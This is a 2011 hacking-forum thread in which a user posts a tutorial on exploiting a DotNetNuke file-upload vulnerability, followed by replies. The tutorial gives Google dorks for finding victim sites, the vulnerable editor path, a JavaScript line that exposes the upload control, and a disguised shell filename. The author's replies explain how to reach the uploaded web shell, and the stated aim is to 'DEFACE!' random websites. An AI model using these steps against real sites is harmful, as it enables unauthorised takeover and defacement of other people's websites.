Forum:Hack Forums

Thread: [Team]Tutorial on how to use the DNN exploit[Injector]

BradRDAnews420 - *September 26, 2011, 6:11 pm*

Dot Net Nuke Exploit

How it works

What is it

How to do it

Downloads

Credits

How it works:
The DNN exploit works by uploading a malicious piece of JavaScript into your browser which would allow the attacker to upload a web shell and take control of the website.

What is it?
The DNN Exploit is a Remote File Upload exploit short for RFI.

How to do it:
To take advantage of this exploit you (the attacker) would have to find a vulnerable website (the victim).

Step one would be to use a dork on google below I will list a few of the common dorks used to exploit this vulnerability.

/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx
inurl:tabid/176/Default.aspx
inurl:portals/0/

Step two, once you've found your vulnerable link assuming your not already there go to http://pathtovulnerablesite.com/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

Step three, Now were reaching the fun part uploading the shell! to upload the shell click on "File (a file on your site)" Now paste the following JavaScript code into your browser Code
javascript:__doPostBack('ctlURL$cmdUpload','')
Step four, Now upload your shell (go to the downloads section of this tutorial to find a working shell)

Step five, DEFACE!

Downloads:
Choose Shell.asp;me.jpg

Credits:

Source:http://www.exploit-db.com/exploits/12700/
Me for writing this tutorial
Team Injector for being ub3rly ep1c!

Please comment as I've spent quite a while making this tutorial perfect! If anyone has any suggestions tell me and I'll add them in.

Thanks for reading,
Brad

madhanmech - *September 26, 2011, 8:37 pm*
cool.... nice one ...thanks for the tutorial ,mate....

Hooded Robin - *September 26, 2011, 8:49 pm*
Nice tutorial and good share. I might suggest slight change to some of the text coloring to make it easier to read though. Also note that there is a patch for this so it wont work 100% of the time.

pushl %ebp - *September 27, 2011, 1:15 am*
This is such a frowned upon hack. Leached mostly by noobs trying to be 'l337 haxors' by defacing random sites...

? |?ncrypTOr | ? - *September 27, 2011, 1:24 am*
Good tutorial thanks. I don't know this vulnerability.

yuzhnny36 - *September 27, 2011, 1:45 am*
i know this one...thanks for the share though...

Mr.Oug - *September 27, 2011, 1:52 am*
Change the godamm colour man black does not suite this font

Frostbite™ - *September 27, 2011, 2:05 am*
This looks really interesting. Are many sites vulnerable to RFI?

Kile Bantick - *September 27, 2011, 2:30 am*
How would i launch said shell, once uploaded? I've no idea, at all O.o

EDIT: I mean. If i upload to the root directory, wouldn't i need to do www.xx.com\Shell.php
Or something similar to that?
I"m sorry, i've never messed with this before, that's why i'm trying to learn :)

BradRDAnews420 - *September 28, 2011, 1:51 pm*
(Sep 27, 2011 02:30 AM)kilebantick Wrote: *[CITE]* How would i launch said shell, once uploaded? I've no idea, at all O.o

EDIT: I mean. If i upload to the root directory, wouldn't i need to do www.xx.com\Shell.php
Or something similar to that?
I"m sorry, i've never messed with this before, that's why i'm trying to learn :)
Hey,
If you were to upload it to root you would go to http://sitehere.com/Portals/0/SHELL.php if you were to upload it to cache or a different folder you'd go to http://sitehere.com/Portals/0/cache/SHELL.php

Yours,
Brad

(Sep 27, 2011 02:05 AM)Gu?Rdi?n Wrote: [CITE] This looks really interesting. Are many sites vulnerable to RFI?
Yes,

Check out exploits-db.com for some really useful tutorials many of them are exploiting RFI vulnerabilities.

Yours,
Brad
(Sep 27, 2011 01:15 AM)nu11byte Wrote: [CITE] This is such a frowned upon hack. Leached mostly by noobs trying to be 'l337 haxors' by defacing random sites...
I agree,

I found this hack interesting so I uploaded a deface page and recieved many messages from people asking how to do it and what DNN was so I decided to post a tutorial. This is a very easy way of hacking and I don't use it too often xD

Yours,
Brad

thomas242007 - *October 2, 2011, 9:56 pm*
interesting, i may decide to try this one out, yes im a new guy to this to